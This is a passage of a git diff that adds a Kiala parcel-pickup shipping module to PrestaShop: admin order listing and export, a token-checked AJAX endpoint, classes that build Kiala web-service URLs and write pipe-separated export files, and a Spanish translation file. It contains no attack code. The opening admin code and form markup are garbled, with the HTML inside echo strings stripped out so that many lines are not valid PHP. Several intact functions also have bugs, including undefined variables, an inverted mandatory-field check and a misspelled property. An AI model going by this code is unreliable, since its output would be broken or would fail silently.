explode('!', $key); + $key = isset($tmp[1]) ? $tmp[1] : $tmp[0]; + echo ' + noLink) OR !$this->noLink)) + echo ' onclick="document.location = \''.$currentIndex.'&'.$this->identifier.'='.$id.($this->view? '&view' : '&update').$this->table.'&token='.($token != NULL ? $token : $this->token).'\'">'.(isset($params['prefix']) ? $params['prefix'] : ''); + else + echo '>'; + if (isset($params['active']) AND isset($tr[$key])) + $this->_displayEnableLink($token, $id, $tr[$key], $params['active'], Tools::getValue('id_category'), Tools::getValue('id_product')); + elseif (isset($params['activeVisu']) AND isset($tr[$key])) + echo ''.($tr[$key] ? $this->l('Enabled') : $this->l('Disabled')).''; + elseif (isset($params['position'])) + { + if ($this->_orderBy == 'position' AND $this->_orderWay != 'DESC') + { + echo ' + '.$this->l('Down').''; + + echo ' + '.$this->l('Up').''; } + else + echo (int)($tr[$key] + 1); + } + + elseif (isset($params['icon']) AND (isset($params['icon'][$tr[$key]]) OR isset($params['icon']['default']))) + echo ''.$tr[$key]).''; + elseif (isset($params['price'])) + echo Tools::displayPrice($tr[$key], (isset($params['currency']) ? Currency::getCurrencyInstance((int)($tr['id_currency'])) : $currency), false); + elseif (isset($params['float'])) + echo rtrim(rtrim($tr[$key], '0'), '.'); + elseif (isset($params['type']) AND $params['type'] == 'date') + echo Tools::displayDate($tr[$key], (int)$cookie->id_lang); + elseif (isset($params['type']) AND $params['type'] == 'datetime') + { + // Tools::displayDate on empty date can result in a die(), we don't want that. + if ($tr[$key] == "0000-00-00 00:00:00") + echo '-'; + else + echo Tools::displayDate($tr[$key], (int)$cookie->id_lang, true); + } + elseif (isset($tr[$key])) + { + $echo = ($key == 'price' ? round($tr[$key], 2) : isset($params['maxlength']) ? Tools::substr($tr[$key], 0, $params['maxlength']).'...' : $tr[$key]); + echo isset($params['callback']) ? call_user_func_array(array($this->className, $params['callback']), array($echo, $tr)) : $echo; + } + elseif ($key == 'kiala_point') + { + $kiala_request = new KialaRequest(); + $url = $kiala_request->getDetailsRequest($tr['point_short_id'], $tr['id_country_delivery'], $cookie->id_lang); + if ($url) + echo ''.$tr['point_name'].''; + else + echo '--'; + } + else + echo '--'; + + echo (isset($params['suffix']) ? $params['suffix'] : ''). + ''; + } + + echo ''; + $this->_displayEditLink($token, $id); + $this->_displayExportLink($token, $id); + echo ''; + + echo ''; + } + } + } + + protected function _displayExportLink($token = NULL, $id) + { + global $currentIndex; + + $_cacheLang['Export'] = $this->l('Export'); + + echo ' + + '; + } + + /** + * Close list table and submit button + */ + public function displayListFooter($token = NULL) + { + echo ''; + echo '

        '; + echo ' + + + + + '; + if (isset($this->_includeTab) AND sizeof($this->_includeTab)) + echo '

        '; + } + + /** + * Manage page display (form, list...) + * Overrides parent to display by descending ID by default + * + * @global string $currentIndex Current URL in order to keep current Tab + */ + public function display() + { + global $currentIndex, $cookie; + + // Include current tab + if ((Tools::getValue('submitAdd'.$this->table) AND sizeof($this->_errors)) OR isset($_GET['add'.$this->table])) + { + if ($this->tabAccess['add'] === '1') + { + $this->displayForm(); + if ($this->tabAccess['view']) + echo '

        '.((Tools::getValue('back')) ? $this->l('Back') : $this->l('Back to list')).'
        '; + } + else + echo $this->l('You do not have permission to add here'); + } + elseif (isset($_GET['update'.$this->table])) + { + if ($this->tabAccess['edit'] === '1' OR ($this->table == 'employee' AND $cookie->id_employee == Tools::getValue('id_employee'))) + { + $this->displayForm(); + if ($this->tabAccess['view']) + echo '

        '.((Tools::getValue('back')) ? $this->l('Back') : $this->l('Back to list')).'
        '; + } + else + echo $this->l('You do not have permission to edit here'); + } + elseif (isset($_GET['view'.$this->table])) + $this->{'view'.$this->table}(); + + else + { + $this->getList((int)($cookie->id_lang), !Tools::getValue($this->table.'Orderby') ? $this->_defaultOrderBy : NULL, !Tools::getValue($this->table.'Orderway') ? 'DESC' : NULL); + $this->displayList(); + } + } + + public function postProcess() + { + global $currentIndex; + + $token = Tools::getValue('token') ? Tools::getValue('token') : $this->token; + + if (Tools::isSubmit('export')) + { + $export = new ExportFormat(Module::getInstanceByName('kiala')); + $kiala_order = new KialaOrder(Tools::getValue('id_kiala_order')); + $export->export($kiala_order); + + if(!$export->exportContent) + $this->_errors[] = Tools::displayError('Exporting failed.'); + else + { + // Add the correct headers, this forces the file is saved + ob_clean(); + header('Content-Type: text/plain'); + header('Content-Disposition: attachment; filename="'.Configuration::get('KIALA_LAST_EXPORT_FILE').'"'); + echo $export->exportContent; + exit; + } + } + elseif(Tools::isSubmit('exportBatch')) + { + $kiala_orders = array(); + foreach(Tools::getValue($this->table.'Box') as $id) + { + $kiala_order = new KialaOrder($id); + $kiala_orders[] = $kiala_order; + } + + $export = new ExportFormat(Module::getInstanceByName('kiala')); + + if(!$export->exportBatch($kiala_orders)) + $this->_errors[] = Tools::displayError('Exporting failed.'); + else + { + ob_clean(); + // Add the correct headers, this forces the file is saved + header('Content-Type: text/plain'); + header('Content-Disposition: attachment; filename="'.Configuration::get('KIALA_LAST_EXPORT_FILE').'"'); + echo $export->exportContent; + exit; + } + } + parent::postProcess(); + } + + public function displayForm($isMainTab = true) + { + global $currentIndex; + parent::displayForm(); + + if (!($kiala_order = $this->loadObject(true))) + return; + + echo ' +
        + '.($kiala_order->id ? '' : '').' +
        '.$this->l('Kiala orders').' + +
        + * +
        + +
        + * +
        + +
        + +
        + +
        + getFieldValue($kiala_order, 'exported') ? 'checked="checked" ' : '').'/> + + getFieldValue($kiala_order, 'exported') ? 'checked="checked" ' : '').'/> + +
        +
        + +
        +
        * '.$this->l('Required field').'
        +
        +
        '; + } + + public function displayConf() + { + if (Tools::getValue('export_success') == 1) + echo ' +
        + '.$this->l('Export successful to file ').Configuration::get('KIALA_LAST_EXPORT_FILE').$this->l(' in folder ').Configuration::get('KIALA_EXPORT_FOLDER').' +
        '; + } +} + +?> diff --git a/modules/kiala/ajax.php b/modules/kiala/ajax.php new file mode 100755 index 0000000..966822a --- /dev/null +++ b/modules/kiala/ajax.php @@ -0,0 +1,50 @@ + +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(realpath(dirname(__FILE__).'/../../config/config.inc.php')); +require_once(realpath(dirname(__FILE__).'/../../init.php')); +require_once(_PS_MODULE_DIR_.'kiala/kiala.php'); +require_once(_PS_MODULE_DIR_.'kiala/classes/KialaRequest.php'); +require_once(_PS_MODULE_DIR_.'kiala/classes/ExportFormat.php'); +require_once(_PS_MODULE_DIR_.'kiala/classes/KialaOrder.php'); +require_once(_PS_MODULE_DIR_.'kiala/classes/KialaCountry.php'); + +global $smarty, $cart; + +$kiala = new Kiala(); +if (!Tools::getValue('token') || Tools::getValue('token') != Configuration::get('KIALA_SECURITY_TOKEN')) + die($kiala->l('Invalid security token')); + +if (Tools::getValue('page_name')) +{ + echo $kiala->displayPoint(Tools::getValue('page_name')); + die(); +} +if (Tools::getValue('id_carrier')) +{ + $cart->id_carrier = (int)Tools::getValue('id_carrier'); + $cart->save(); +} diff --git a/modules/kiala/carrier.jpg b/modules/kiala/carrier.jpg new file mode 100755 index 0000000..772546a Binary files /dev/null and b/modules/kiala/carrier.jpg differ diff --git a/modules/kiala/classes/ExportFormat.php b/modules/kiala/classes/ExportFormat.php new file mode 100755 index 0000000..9048899 --- /dev/null +++ b/modules/kiala/classes/ExportFormat.php @@ -0,0 +1,341 @@ + +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(_PS_MODULE_DIR_.'kiala/classes/KialaOrder.php'); + +class ExportFormat +{ + + public $export_folder; + public $export_name; + public $path; + public $file_handle; + public $exportContent = ''; + public $extension = '.txt'; + + protected $kiala_instance; + protected $field_separator = '|'; + + protected $fields = array('partnerId' => array('value' => null, 'mandatory' => 1, 'type' => 'string', 'length' => 8), + 'partnerBarcode' => array('value' => null, 'mandatory' => 0, 'type' => 'string', 'length' => 64), + 'parcelNumber' => array('value' => null, 'mandatory' => 1, 'type' => 'string', 'length' => 8), + 'orderNumber' => array('value' => null, 'mandatory' => 1, 'type' => 'string', 'length' => 32), + 'orderDate' => array('value' => null, 'mandatory' => 0, 'type' => 'date', 'length' => 8), + 'shipmentNumber' => array('value' => null, 'mandatory' => 0, 'type' => 'string', 'length' => 32), + 'CODAmount' => array('value' => null, 'mandatory' => 1, 'type' => 'price', 'length' => 6), + 'commercialValue' => array('value' => null, 'mandatory' => 1, 'type' => 'price', 'length' => 9), + 'parcelWeight' => array('value' => null, 'mandatory' => 1, 'type' => 'float', 'length' => 5), + 'parcelVolume' => array('value' => null, 'mandatory' => 0, 'type' => 'float', 'length' => 6), + 'parcelDescription' => array('value' => null, 'mandatory' => 0, 'type' => 'string', 'length' => 70), + 'customerId' => array('value' => null, 'mandatory' => 0, 'type' => 'string', 'length' => 32), + 'customerName' => array('value' => null, 'mandatory' => 1, 'type' => 'string', 'length' => 35), + 'customerFirstName' => array('value' => null, 'mandatory' => 0, 'type' => 'string', 'length' => 20), + 'customerStreet' => array('value' => null, 'mandatory' => 0, 'type' => 'string', 'length' => 35), + ); + + /** + * Constructor + * + * @param Kiala $kiala_instance needed for access to Module::l() + */ + public function __construct($kiala_instance){ + if (!$kiala_instance) + die("No Kiala instance provided"); + $this->kiala_instance = $kiala_instance; + $this->export_folder = Configuration::get('KIALA_EXPORT_FOLDER'); + } + + /** + * Open the export file + * + * @return mixed file handle or false + */ + public function openExportFile() + { + if (!$this->export_folder) + return false; + $base_export_name = 'KIALAEXPORT-'.date('Ymd-Hi'); + $export_name = $base_export_name; + $i = 1; + while (file_exists($this->export_folder.$export_name.$this->extension)) + { + $export_name = $base_export_name.'-'.$i; + $i++; + } + $this->path = $this->export_folder.$export_name.$this->extension; + $this->file_handle = @fopen($this->path, 'ab'); + return $this->file_handle; + } + + /** + * Write the record to a file + * + * @returns bool success + */ + public function writeRecord($fields) + { + if (!$this->file_handle) + return false; + + $str = ''; + foreach ($fields as $key => $field) + $str .= $field['value'].$this->field_separator; + $str = trim($str, $this->field_separator)."\n"; + $this->exportContent .= $str; + if (@fwrite($this->file_handle, $str)) + return true; + return false; + } + + /** + * Export a kiala order record to file + * + * @param KialaOrder $kiala_order + * @return bool success + */ + public function export($kiala_order) + { + $this->openExportFile(); + $success = true; + + // DEACTIVATED BY REQUEST FROM KIALA + // If pickup country and delivery country are different, we need to write 2 lines with different DSPID + /*if ($kiala_order->id_country_pickup != $kiala_order->id_country_delivery) + { + $kiala_country_pickup = KialaCountry::getByIdCountry($kiala_order->id_country_pickup); + $fields = $this->initRecordData($kiala_order, $kiala_country_pickup->dspid); + $success = $this->writeRecord($fields); + }*/ + + $kiala_country = KialaCountry::getByIdCountry($kiala_order->id_country_delivery); + $fields = $this->initRecordData($kiala_order, $kiala_country->dspid); + if($success &= $this->writeRecord($fields)) + { + $kiala_order->export = 1; + $kiala_order->save(); + Configuration::updateValue('KIALA_LAST_EXPORT_FILE', basename($this->path)); + } + $this->closeExportFile(); + return $success; + } + + /*public function exportToFile() + { + $this->openExportFile(); + $this->closeExportFile(); + }*/ + + public function closeExportFile() + { + if($this->file_handle) + fclose($this->file_handle); + } + + /** + * Format a date to Kiala export file format + * + * @param string $date + * @return string + */ + public function formatDate($date) + { + $date = substr($date, 0, 10); + if ($date == '0000-00-00') + return ''; + $date = str_replace('-', '', $date); + return $date; + } + + /** + * Set the values of the fields that will be exported + * + * @param array $kiala_order content of the KialaOrder object + * @return array|bool fields to be exported or false + */ + public function initRecordData($kiala_order, $dspid) + { + if (!Validate::isLoadedObject($kiala_order)) + return false; + $order = new Order($kiala_order->id_order); + $cart = new Cart($order->id_cart); + $customer = new Customer($kiala_order->id_customer); + $address = new Address($order->id_address_delivery); + + if (!Validate::isLoadedObject($order) || + !Validate::isLoadedObject($customer) || + !Validate::isLoadedObject($address)) + return false; + + $products = $cart->getProducts(); + + $width = 1; + $height = 1; + $depth = 1; + foreach ($products as $product) + { + $width = ($width < $product['width'] ? $product['width'] : $width); + $height = ($height < $product['height'] ? $product['height'] : $height); + $depth = ($depth < $product['depth'] ? $product['depth'] : $depth); + } + // volume in liters + $volume = ($width * $height * $depth) / 1000; + if ($volume < 1) + $volume = 1; + + $prefix = Configuration::get('KIALA_NUMBER_PREFIX'); + + $fields = array(); + $fields['partnerId']['value'] = $dspid; + + // Parcel information + $fields['parcelBarcode']['value'] = ''; + $fields['parcelNumber']['value'] = $prefix.$kiala_order->id; + $fields['orderNumber']['value'] = $prefix.$kiala_order->id; + $fields['orderDate']['value'] = $this->formatDate($order->date_add); + $fields['invoiceNumber']['value'] = ($order->invoice_number ? $order->invoice_number : ''); + $fields['invoiceDate']['value'] = $this->formatDate($order->invoice_date); + $fields['shipmentNumber']['value'] = ''; + // @todo Need to check currency = EUR + if ($order->module == 'cashondelivery') + $cod_amount = $order->total_paid; + else + $cod_amount = '0'; + $fields['CODAmount']['value'] = sprintf('%.2f', $cod_amount); + $fields['CODCurrency']['value'] = 'EUR'; + $fields['commercialValue']['value'] = sprintf('%.2f', $kiala_order->commercialValue); + $fields['commercialCurrency']['value'] = 'EUR'; + $fields['parcelWeight']['value'] = sprintf('%.3f', $order->getTotalWeight()); + $fields['parcelVolume']['value'] = sprintf('%.3f', $volume); + $fields['parcelDescription']['value'] = $kiala_order->parcelDescription; + + // Point information + $fields['kialaPoint']['value'] = $kiala_order->point_short_id; + $fields['backupKialaPoint']['value'] = ''; + + // Recipient information + $fields['customerId']['value'] = $customer->id; + $fields['customerName']['value'] = $customer->lastname; + $fields['customerFirstName']['value'] = $customer->firstname; + + switch ($customer->id_gender) + { + case '1': + $title = $this->kiala_instance->l('Mr.'); + break; + case '2': + $title = $this->kiala_instance->l('Ms.'); + break; + default: + $title = ''; + } + $fields['customerTitle']['value'] = $title; + $fields['customerExtraAddressLine']['value'] = $address->address2; + $fields['customerStreet']['value'] = $address->address1; + $fields['customerStreetNumber']['value'] = ''; + $fields['customerLocality']['value'] = State::getNameById($address->id_state); + $fields['customerZip']['value'] = $address->postcode; + $fields['customerCity']['value'] = $address->city; + $fields['customerCountry']['value'] = Country::getIsoById($address->id_country); + $fields['customerLanguage']['value'] = strtolower(Language::getIsoById($order->id_lang)); + $fields['positiveNotificationRequested']['value'] = 'Y'; + $fields['customerPhone1']['value'] = $address->phone; + $fields['customerPhone2']['value'] = $address->phone_mobile; + $fields['customerPhone3']['value'] = ''; + $fields['customerEmail1']['value'] = $customer->email; + $fields['customerEmail2']['value'] = ''; + $fields['customerEmail3']['value'] = ''; + + return $fields; + } + + /** + * Export a batch of records + * + * @param array $kiala_orders + */ + public function exportBatch($kiala_orders) + { + if (!$kiala_orders || !is_array($kiala_orders)) + die("Wrong argument"); + + $this->openExportFile($kiala_country->dspid); + $success = true; + foreach ($kiala_orders as $kiala_order) + { + // DEACTIVATED BY REQUEST FROM KIALA + // If pickup country and delivery country are different, we need to write 2 lines with different DSPID + /*if ($kiala_order->id_country_pickup != $kiala_order->id_country_delivery) + { + $kiala_country_pickup = KialaCountry::getByIdCountry($kiala_order->id_country_pickup); + $fields = $this->initRecordData($kiala_order, $kiala_country_pickup->dspid); + if (!$success = $this->writeRecord($fields)) + break; + }*/ + $kiala_country = KialaCountry::getByIdCountry($kiala_order->id_country_delivery); + $fields = $this->initRecordData($kiala_order, $kiala_country->dspid); + if (!$success = $this->writeRecord($fields)) + break; + $kiala_order->exported = 1; + $kiala_order->save(); + Configuration::updateValue('KIALA_LAST_EXPORT_FILE', basename($this->path)); + } + $this->closeExportFile(); + return $success; + } + + /** + * Validate fields before exportation + * + * @return array errors + */ + public function validateFields() + { + $errors = array(); + foreach ($this->fields as $key => $params) + { + if ($params['mandatory'] == 1 && $params['value']) + $errors[] = $kiala_instance->l('Field ').$key.$kiala_instance->l(' is mandatory but was not found.'); + switch ($params['type']) + { + case 'string': + if ($params['value'] && (strlen($params['value']) > $params['length'])) + $errors[] = $kiala_instance->l('Field ').$key.$kiala_instance->l(' is too long.'); + break; + case 'price': + if ($params['value'] && (strlen($params['value']) > $params['length'])) + $errors[] = $kiala_instance->l('Field ').$key.$kiala_instance->l(' is too long.'); + if ($params['value'] && !Validate::isPrice($params['value'])) + $errors[] = $kiala_instance->l('Field ').$key.$kiala_instance->l(' has a wrong format.'); + break; + case 'float': + if ($params['value'] && !Validate::isFloat($params['value'])) + $errors[] = $kiala_instance->l('Field ').$key.$kiala_instance->l(' has a wrong format.'); + break; + default: + } + } + return $errors; + } +} \ No newline at end of file diff --git a/modules/kiala/classes/KialaCountry.php b/modules/kiala/classes/KialaCountry.php new file mode 100755 index 0000000..2651e4e --- /dev/null +++ b/modules/kiala/classes/KialaCountry.php @@ -0,0 +1,130 @@ + +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class KialaCountry extends ObjectModel +{ + public $id_country; + public $dspid; + public $preparation_delay; + public $active; + public $pickup_country; + + protected $table = 'kiala_country'; + protected $identifier = 'id_kiala_country'; + + public function getFields() + { + parent::validateFields(); + + $fields['id_country'] = (int)$this->id_country; + $fields['dspid'] = pSQL($this->dspid); + $fields['preparation_delay'] = (int)$this->preparation_delay; + $fields['active'] = (int)$this->active; + $fields['pickup_country'] = (int)$this->pickup_country; + return $fields; + } + + /** + * Get all kiala countries + * + * @param int $active_only + * @return array of arrays + */ + public static function getKialaCountries($active_only = false) + { + $result = Db::getInstance()->ExecuteS(' + SELECT `id_kiala_country`, `id_country`, `dspid`, `preparation_delay`, `active` + FROM `'._DB_PREFIX_.'kiala_country`'. + ($active_only ? 'WHERE `active` = 1' : '')); + + return $result; + } + + /** + * Get KialaCountry object by id_country + * + * @param int $id_country + * @return boolean|KialaCountry fetched object or false + */ + public static function getByIdCountry($id_country) + { + // Luxemburg is grouped with Belgium by Kiala + if (Country::getIsoById($id_country) == 'LU') + $id_country = Country::getByIso('BE'); + + $result = Db::getInstance()->getRow(' + SELECT `id_kiala_country`, `id_country`, `dspid`, `preparation_delay`, `active` + FROM `'._DB_PREFIX_.'kiala_country` + WHERE `id_country` = '.(int)$id_country); + + if (!$result) + return false; + + $kiala_country = new self(); + $kiala_country->setData($result); + + return $kiala_country; + } + + /** + * Set the object fields + * + * @param array $result + */ + protected function setData($result) + { + $this->id = $result['id_kiala_country']; + $this->id_country = $result['id_country']; + $this->dspid = $result['dspid']; + $this->preparation_delay = $result['preparation_delay']; + $this->active = $result['active']; + } + + public function isActive() + { + return ($this->id && $this->dspid && $this->active && $this->preparation_delay); + } + + /** + * Get the KialaCountry where the shipment is picked up + * + * @return boolean|KialaCountry + */ + public static function getPickupCountry() + { + $result = Db::getInstance()->getRow(' + SELECT `id_kiala_country`, `id_country`, `dspid`, `preparation_delay`, `active` + FROM `'._DB_PREFIX_.'kiala_country` + WHERE `pickup_country` = 1'); + + if (!$result) + return false; + + $kiala_country = new self(); + $kiala_country->setData($result); + + return $kiala_country; + } +} \ No newline at end of file diff --git a/modules/kiala/classes/KialaOrder.php b/modules/kiala/classes/KialaOrder.php new file mode 100755 index 0000000..426bfb5 --- /dev/null +++ b/modules/kiala/classes/KialaOrder.php @@ -0,0 +1,175 @@ + +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class KialaOrder extends ObjectModel +{ + public $id_customer; + public $id_order; + public $id_cart; + public $id_country_pickup; + public $id_country_delivery; + public $point_short_id; + public $point_alias; + public $point_name; + public $point_street; + public $point_location_hint; + public $point_zip; + public $point_city; + public $orderNumber; + public $commercialValue; + public $parcelVolume; + public $parcelDescription; + + public $date_upd; + public $exported = 0; + + /** @var max lifetime of empty kiala orders in hours */ + public static $empty_orders_lifetime = 24; + + protected $table = 'kiala_order'; + protected $identifier = 'id_kiala_order'; + + protected $fieldsValidate = array( + 'point_short_id' => 'isString', + ); + + public function getFields() + { + parent::validateFields(); + $fields['id_kiala_order'] = (int)$this->id; + $fields['id_customer'] = (int)$this->id_customer; + $fields['id_cart'] = (int)$this->id_cart; + $fields['id_order'] = (int)$this->id_order; + $fields['id_country_pickup'] = (int)$this->id_country_pickup; + $fields['id_country_delivery'] = (int)$this->id_country_delivery; + $fields['point_short_id'] = pSQL($this->point_short_id); + $fields['point_alias'] = pSQL($this->point_alias); + $fields['point_name'] = pSQL($this->point_name); + $fields['point_street'] = pSQL($this->point_street); + $fields['point_location_hint'] = pSQL($this->point_location_hint); + $fields['point_zip'] = pSQL($this->point_zip); + $fields['point_city'] = pSQL($this->point_city); + $fields['exported'] = (int)$this->exported; + $fields['commercialValue'] = (float)$this->commercialValue; + $fields['parcelVolume'] = (float)$this->parcelVolume; + $fields['parcelDescription'] = pSQL($this->parcelDescription); + $fields['date_upd'] = pSQL($this->date_upd); + return $fields; + } + + public static function getLatestByCustomer($id_customer) + { + $result = Db::getInstance()->getRow(' + SELECT k.* + FROM `'._DB_PREFIX_.'kiala_order` k + WHERE k.`id_customer` = '.(int)$id_customer.' + ORDER by k.`date_upd` DESC'); + + if (!$result) + return false; + $kiala_order = new self(); + $kiala_order->setData($result); + + return $kiala_order; + } + + /** + * Return a completed kiala order object given an id_order + * + * @param int $id_order + * @return boolean|KialaOrder + */ + public static function getByOrder($id_order) + { + $result = Db::getInstance()->getRow(' + SELECT k.* + FROM `'._DB_PREFIX_.'kiala_order` k + WHERE k.`id_order` = '.(int)$id_order); + + if (!$result) + return false; + $kiala_order = new self(); + $kiala_order->setData($result); + + return $kiala_order; + } + + /** + * Get an empty kiala order for the given cart if it exists, or a new kiala order + * The empty kiala order stores the kiala point selected by the customer before the order is made + * + * @param int $id_cart + * @return KialaOrder + */ + public static function getEmptyKialaOrder($id_cart) + { + $result = Db::getInstance()->getRow(' + SELECT k.* + FROM `'._DB_PREFIX_.'kiala_order` k + WHERE k.`id_cart` = '.(int)($id_cart).' + AND k.`id_order` = 0'); + + $kiala_order = new self(); + + if ($result) + $kiala_order->setData($result); + + return $kiala_order; + } + + /** + * Init an empty object with data from db + * + * @param array $result row from db + */ + public function setData($result) + { + $this->id = $result['id_kiala_order']; + $this->id_customer = $result['id_customer']; + $this->id_cart = $result['id_cart']; + $this->id_order = $result['id_order']; + $this->id_country_pickup = $result['id_country_pickup']; + $this->id_country_delivery = $result['id_country_delivery']; + $this->point_short_id = $result['point_short_id']; + $this->point_alias = $result['point_alias']; + $this->point_name = $result['point_name']; + $this->point_street = $result['point_street']; + $this->point_location_hint = $result['point_location_hint']; + $this->point_zip = $result['point_zip']; + $this->point_city = $result['point_city']; + $this->exported = $result['exported']; + $this->commercialValue = $result['commercialValue']; + $this->parcelVolume = $result['parcelVolume']; + $this->parcelDescription = $result['parcelDescription']; + $this->date_upd = $result['date_upd']; + } + + public static function cleanEmptyOrders() + { + $result = Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'kiala_order` + WHERE `id_order` = 0 AND `date_upd` < DATE_SUB(NOW(), INTERVAL '.(int)self::$empty_orders_lifetime.' HOUR)'); + } +} \ No newline at end of file diff --git a/modules/kiala/classes/KialaPoint.php b/modules/kiala/classes/KialaPoint.php new file mode 100755 index 0000000..995b787 --- /dev/null +++ b/modules/kiala/classes/KialaPoint.php @@ -0,0 +1,72 @@ + +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class KialaPoint +{ + public $short_id; + public $name; + public $street; + public $zip; + public $city; + public $location_hint; + public $available; + public $code; + public $opening_hours; + public $picture; + public $coordinate; + + public $status; + + public static function getPointFromXml($kp) + { + $kiala_point = new self(); + $kiala_point->short_id = (string)$kp['shortId']; + $kiala_point->name = (string)$kp->name; + $kiala_point->street = (string)$kp->address->street; + $kiala_point->zip = (string)$kp->address->zip; + $kiala_point->city = (string)$kp->address->city; + $kiala_point->location_hint = (string)$kp->address->locationHint; + $kiala_point->available = (int)$kp->status['available']; + $kiala_point->code = (string)$kp->status['code']; + $kiala_point->opening_hours = array(); + foreach($kp->openingHours->day as $day) + $kiala_point->opening_hours[(string)$day['name']] = (array)$day->timespan; + if (isset($kp->picture)) + $kiala_point->picture = (string)$kp->picture['href']; + $kiala_point->coordinate = (array)$kp->coordinate; + + return $kiala_point; + } + + public static function getPointListFromXml($xml) + { + if (!$xml) + return false; + $points = array(); + foreach ($xml->kp as $kp) + $points[] = self::getPointFromXml($kp); + return $points; + } +} \ No newline at end of file diff --git a/modules/kiala/classes/KialaRequest.php b/modules/kiala/classes/KialaRequest.php new file mode 100755 index 0000000..f7118c4 --- /dev/null +++ b/modules/kiala/classes/KialaRequest.php @@ -0,0 +1,191 @@ + +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(_PS_MODULE_DIR_.'kiala/classes/KialaPoint.php'); + +class KialaRequest +{ + public $search_url = 'http://locateandselect.kiala.com/search'; + public $list_url = 'http://locateandselect.kiala.com/kplist'; + public $tracking_url = 'http://trackandtrace.kiala.com/search'; + public $details_url = 'http://locateandselect.kiala.com/details'; + + public function makeRequest($request) + { + // Init + $connection = curl_init($request); + + // Set it to return the transfer as a string from curl_exec + curl_setopt($connection, CURLOPT_RETURNTRANSFER, 1); + // Send the Request + $response = curl_exec($connection); + + // Close the connection + curl_close($connection); + // Return the response + return $response; + } + + /** + * Create a parameters string from an array of key => values + * + * @param array $params + * @return string + */ + public function prepareParams($params) + { + $request = '?'; + foreach ($params as $key => $value) + $request .= $key.'='.urlencode($value).'&'; + + $request = trim($request, '&'); + return $request; + } + + /** + * Build the locate&select iframe url + * + * @param string $address + * @param int $id_lang + * @param string $bckUrl + * @return boolean|string + */ + public function getSearchRequest($address, $id_lang, $bckUrl) + { + global $link; + $kiala_country = KialaCountry::getByIdCountry($address->id_country); + if (!Validate::isLoadedObject($kiala_country)) + return false; + $params = array( + 'dspid' => $kiala_country->dspid, + 'country' => Country::getIsoById($address->id_country), + 'language' => Language::getIsoById($id_lang), + 'preparation_delay' => $kiala_country->preparation_delay, + 'street' => $address->address1, + 'zip' => $address->postcode, + 'city' => $address->city, + 'bckUrl' => $bckUrl, + 'target' => '_parent', + 'map-controls' => 'off', + 'thumbnails' => 'off', + 'css' => 'http://prestashop-css.kiala.com/search_kiala_theme.css' + ); + + return $this->search_url.$this->prepareParams($params); + } + + /** + * Build the locate&select iframe url + * + * @param string $address + * @param int $id_lang + * @param string $bckUrl + * @return boolean|string + */ + public function getDetailsRequest($point_short_id, $id_country, $id_lang) + { + $params = array( + 'shortID' => $point_short_id, + 'country' => Country::getIsoById($id_country), + 'language' => Language::getIsoById($id_lang), + 'map' => 'on' + ); + + return $this->details_url.$this->prepareParams($params); + } + + /** + * Build the locate&select point list url + * + * @param int $max_result + * @param string $point_short_id + */ + public function getPointRequest($max_result, $point_short_id = null) + { + global $cart; + $address = new Address($cart->id_address_delivery); + $kiala_country = KialaCountry::getByIdCountry($address->id_country); + if (!Validate::isLoadedObject($kiala_country) || !$kiala_country->isActive()) + return false; + + $params = array( + 'dspid' => $kiala_country->dspid, + 'country' => Country::getIsoById($address->id_country), + 'language' => Language::getIsoById($cart->id_lang), + 'preparation_delay' => $kiala_country->preparation_delay, + 'street' => $address->address1, + 'zip' => $address->postcode, + 'city' => $address->city, + 'sort-method' => 'ACTIVE_ONLY'.($point_short_id ? ' '.$point_short_id : ''), + 'max-result' => (int)$max_result + ); + return $this->list_url.$this->prepareParams($params); + } + + /** + * Get Kiala points from the webservice + * + * @param unknown_type $point_short_id + * @return boolean|Ambigous + */ + public function getPointList($point_short_id = null) + { + if ($point_short_id) + $request = $this->getPointRequest(2, $point_short_id); + else + $request = $this->getPointRequest(1); + if (!$request) + return false; + $xml = simplexml_load_string($this->makeRequest($request)); + $points = KialaPoint::getPointListFromXml($xml); + return $points; + } + + /** + * Build the track&trace url + * + * @param string $address + * @param KialaCountry $kiala_country + * @param int $id_lang + * @param int $key search_key + * @param string $search_by + */ + public function getTrackingRequest($address, $kiala_country, $id_lang, $key, $search_by) + { + $params = array( + 'countryid' => Country::getIsoById($address->id_country), + 'language' => Language::getIsoById($id_lang), + 'dspid' => $kiala_country->dspid + ); + if ($search_by == 'order') + $params['dsporderid'] = $key; + elseif ($search_by == 'customer') + $params['dspcustomerid'] = $key; + else + return false; + + return $this->tracking_url.$this->prepareParams($params); + } +} \ No newline at end of file diff --git a/modules/kiala/default_picture.jpg b/modules/kiala/default_picture.jpg new file mode 100755 index 0000000..d465774 Binary files /dev/null and b/modules/kiala/default_picture.jpg differ diff --git a/modules/kiala/es.php b/modules/kiala/es.php new file mode 100755 index 0000000..f05d89b --- /dev/null +++ b/modules/kiala/es.php @@ -0,0 +1,172 @@ +adminkiala_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{kiala}prestashop>adminkiala_0001316ad0c7eb0f1a8e298fd6e5d070'] = 'Exportado'; +$_MODULE['<{kiala}prestashop>adminkiala_ce26601dac0dea138b7295f02b7620a7'] = 'Cliente'; +$_MODULE['<{kiala}prestashop>adminkiala_59716c97497eb9694541f7c3d37b1a4d'] = 'País'; +$_MODULE['<{kiala}prestashop>adminkiala_3cdfc1acfd5f159c7be997ac2f8864b0'] = 'Punto Kiala'; +$_MODULE['<{kiala}prestashop>adminkiala_96b0141273eabab320119c467cdcaf17'] = 'Total'; 